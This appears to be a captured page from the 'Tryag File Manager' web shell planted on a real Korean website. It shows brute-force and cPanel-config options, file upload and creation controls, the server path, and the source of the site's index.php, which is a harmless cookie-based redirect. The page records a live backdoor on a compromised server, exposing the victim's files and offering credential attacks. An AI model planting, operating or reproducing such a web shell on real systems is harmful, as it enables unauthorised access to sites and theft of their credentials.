Tryag File Manager
Home
||
Turbo Force
||
B-F Config_Cpanel
Current Path :
/
home
/
nonga.eemo.co.kr
/
public_html
/
www
/
Or
Select Your Path :
Upload File :
New :
File
Dir
/home/nonga.eemo.co.kr/public_html/www/index.php
<? session_set_cookie_params(8886400); session_cache_limiter('no-cache, must-revalidate'); session_start(); header("Pragma: no-cache"); header("Cache-Control: no-cache,must-revalidate"); header("Content-Type: text/html; charset=utf-8"); $url1="https://".$_SERVER['HTTP_HOST']."/www/permiss.php"; $url2="https://".$_SERVER['HTTP_HOST']."/www/login.php"; if($_COOKIE["APPmyAgree"]==1) { echo "<script>location.href='".$url2."';</script>"; exit; } else { echo "<script>location.href='".$url1."';</script>"; exit; } ?> <script> /* if(localStorage.getItem('myAgree')==null) { location.href='<?=$url1?>'; } else { location.href='<?=$url2?>'; } */ </script>